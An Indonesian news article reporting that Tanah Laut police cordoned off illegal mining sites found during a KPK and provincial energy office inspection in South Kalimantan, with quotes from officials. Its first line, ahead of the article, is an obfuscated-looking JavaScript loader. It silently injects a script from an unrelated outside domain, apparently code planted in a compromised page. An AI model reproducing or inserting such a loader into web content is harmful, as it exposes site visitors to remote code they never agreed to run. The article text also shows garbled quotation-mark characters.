(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PELAIHARI, Menyusul terbongkarnya pertambangan ilegal (Peti) –di Tanah Laut, oleh Komisi Pemberantasan Korupsi (KPK) dan BKSDA Kalsel beberapa waktu lalu, Polres Tala menindaklanjuti dengan pemasangan police line di lokasi. Kapolres Tanahlaut, AKBP Sentot Adi Dharmawan, berdasarkan temuan itu, pihaknya langsung melakukan penanganan.
“Kami sudah melakukan penanganan terkait penemuan KPK dan BKSDA Kalsel.  Tumpukan batu kami beri police line dan alat berat sudah kami temukan 10 km dari lokasi,†jelas AKBP Sentot, Jumat (2/8).
Tak hanya itu, unit alat berat itu pun saat ini telah diamankan Polres Tanahlaut. Sedangkan sejumlah saksi juga telah dimintai keterangan. “Untuk operator dan pihak yang menyuruh saat ini masih terus dilakukan pencarian,†kata AKBP Sentot dilansir tribunnews.com.
Sebelumnya, KPK bersama Dinas ESDM Kalsel dan Ombudsman Kalsel melakukan sidak di areal tambang di Kabupaten Tanah Laut (Tala), Rabu (31/7). Dari sidak tersebut, tim berhasil menemukan aktivitas pertambangan ilegal (Peti) di tiga lokasi berbeda.
Temuan pertambangan ilegal pertama ditemukan di areal lahan konsesi Hak Guna Usaha (HGU) kelapa sawit milik PT Sinar Surya Jorong. Dimana Peti tersebut diketahui milik PT Dwi Guna Laksana yang sejauh ini belum membuat Rencana Kerja Anggaran Biaya (RKAB). Lokasi Peti lainnya ditemukan di kawasan Relenguish yang merupakan penciutan PKP2B milik PT Jorong Barutama Greston (JBG). Dan terakhir, di konsesi milik PT Basmo Indo Mandiri.
Salah satu aktivitas Peti milik perorangan tersebut, diketahui beroperasi mengeruk di bekas penciutan lokasi areal pertambangan PKP2B milik PT JBG. Operator alat berat yang diketahui bernama Wahyu, mengaku hanya disuruh Paman Arul.
Dia sempat diminta berhenti melakukan aktivitasnya oleh Kabid Minerba ESDM Pemrov Kalsel, Gunawan Harjito. Namun, ia menjelaskan bahwa dirinya hanya diminta bekerja menggarap Bekas Tambang tersebut dengan upah Rp 25 ribu per jam.
Terkait penemuan pertambangan ilegal tersebut, tim penasehat KPK dan ESDM akan segera melaporkan kasus tersebut ke aparat penegak hukum untuk diambil tindakan dan juga akan dilaporkan ke ESDM Pusat.
Penasihat KPK Budi Santoso, mengatakan, mereka akan mendata berapa jumlah temuan, dan langsung merekomendasikan ke APH. Saat ini, mereka tidak ada kewenangan untuk melakukan penindakan. Terkait penemuan tersebut, ia berharap ada evaluasi pada perbaikan sistem dan tata kelola pertambangan.
“Dengan demikian, maka pendapatan negara atau royalti dari sektor pertambangan bisa meningkat. Mengingat potensinya di Kalsel cukup besar. Saat ini masih banyak peraturan atau keputusan menteri yang tak mempertimbangkan situasi di lapangan,†ungkapnya.
Sementara Kabid Minerba ESDM Provinsi Kalsel, Gunawan Harjito mengatakan aktivitas peti di Kalsel memang masih ada, dan jumlahnya pun mencapai puluhan. Sebarannya ada Tanah Laut, Tanah Bumbu, dan Hulu Sungai Selatan, “Kami tidak bisa berbuat banyak, karena ini kewenangan aparat penegak hukum, kami sudah melaporkan jumlahnya lumayan banyak,†katanya.(cel/trb)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.